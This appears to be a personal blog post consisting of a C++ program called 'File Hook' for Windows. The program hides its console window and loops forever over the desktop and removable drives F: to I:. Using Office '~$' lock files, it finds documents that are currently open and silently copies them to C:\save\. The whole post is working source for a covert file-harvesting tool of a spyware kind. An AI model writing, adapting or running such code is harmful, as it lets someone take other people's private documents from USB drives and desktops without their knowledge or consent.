FileHook

· · 个人记录

#include<iostream>
#include<fstream>
#include<string>
#include<io.h>
#include<shlobj.h>
#include<bits/stdc++.h>
#include<windows.h>
#define ULL unsigned long long
using namespace std;
const int N=114514;
string InPath[N]={""/*DesktopPath*/,"F:\\","G:\\","H:\\","I:\\"},OutPath;
map<string,bool>visited;
string GetDesktopPath(){
    char DesktopPath[N];
    SHGetSpecialFolderPath(0,DesktopPath,CSIDL_DESKTOPDIRECTORY,0);
    string ans(DesktopPath);
    ans+='\\';
    return ans;
}
bool StrIsPath(string s){
    for(int i=0;i<s.size();++i)
        if(s[i]!='.')
            return false;
    return true;
}
string Read_File(char*filename){
    ifstream infile(filename);
    string ans;
    char ch;
    while(infile.get(ch))
        ans+=ch;
    return ans;
}
string endname(string s){
    if(!s.find('\\'))
        return string();
    string ans;
    if(s[s.size()-1]=='\\'){
        ans='\\';
        s.erase(s.end()-1);
    }
    for(int i=s.size()-1;i>=0;--i){
        ans=s[i]+ans;
        if(s[i]=='\\')
            break;
    }
    return ans;
}
void copy(string path,string name){
    string ObjFile=OutPath+name;
    cout<<"~            "<<ObjFile<<"\n";
    if(_access(ObjFile.c_str(),00)!=-1)
        return;
    name=path+name;
    name="copy \""+name;
    name+="\" ";
    name+=OutPath;
//  cout<<"                 "<<name<<"\n\n";
    system(name.c_str());
    Sleep(500);
}

void dfs(string path/*路径*/,ULL c/*层次*/){
    if(c>=15)
        return;
    _finddata_t in;
    string SearchPath=path+"*";
    long long handle=_findfirst(SearchPath.c_str(),&in);
    if(handle==-1)return;
    do{
        string name,truename;
        name=truename=in.name;
        if(StrIsPath(truename))
            continue;
        name=path+name;
        name+='\\';
        if(endname(path)==endname(name))return;
        if(truename[0]=='~'&&truename[1]=='$'){
            string _tname=truename;
            _tname.erase(_tname.begin());
            _tname.erase(_tname.begin());
            string __tname=path+_tname;
            if(_access(__tname.c_str(),00)==-1)
                _tname="??"+_tname;

//          cout<<setw(c*2)<<"!!! "<<_tname<<"\n\n";
            if(!visited[_tname])
                copy(path,_tname);
            visited[_tname]=1;
        }
        dfs(name,c+1);
    }while(!_findnext(handle,&in));
}
int main(){
    if(_access("NOHIDE.txt",00)==-1){
        HWND hDos=GetForegroundWindow();//找到当前窗口句柄
        ShowWindow(hDos,SW_HIDE);//隐藏窗口
        ShowOwnedPopups(hDos,SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
    }
    if(_access("NOSTART.txt",00)!=-1)
        return 0;
    InPath[0]=GetDesktopPath();
    system("title File Hook 3.0.8 Beta");
    ios::sync_with_stdio(false);
    cout.tie(0);
    if(_access("OutPath.txt",00)==-1){
        ofstream out("OutPath.txt");
        out<<"C:\\save\\";
        out.close();
    }

    OutPath=Read_File("OutPath.txt");
    if(_access(OutPath.c_str(),00)==-1){
        string cmd="mkdir "+OutPath;
        system(cmd.c_str());
    }
    for(;;){
        for(int i=0;i<56;++i)
            if(InPath[i].size()&&_access(InPath[i].c_str(),00)!=-1)
                dfs(InPath[i],0);
        Sleep(1000);
    }
    return 0;
}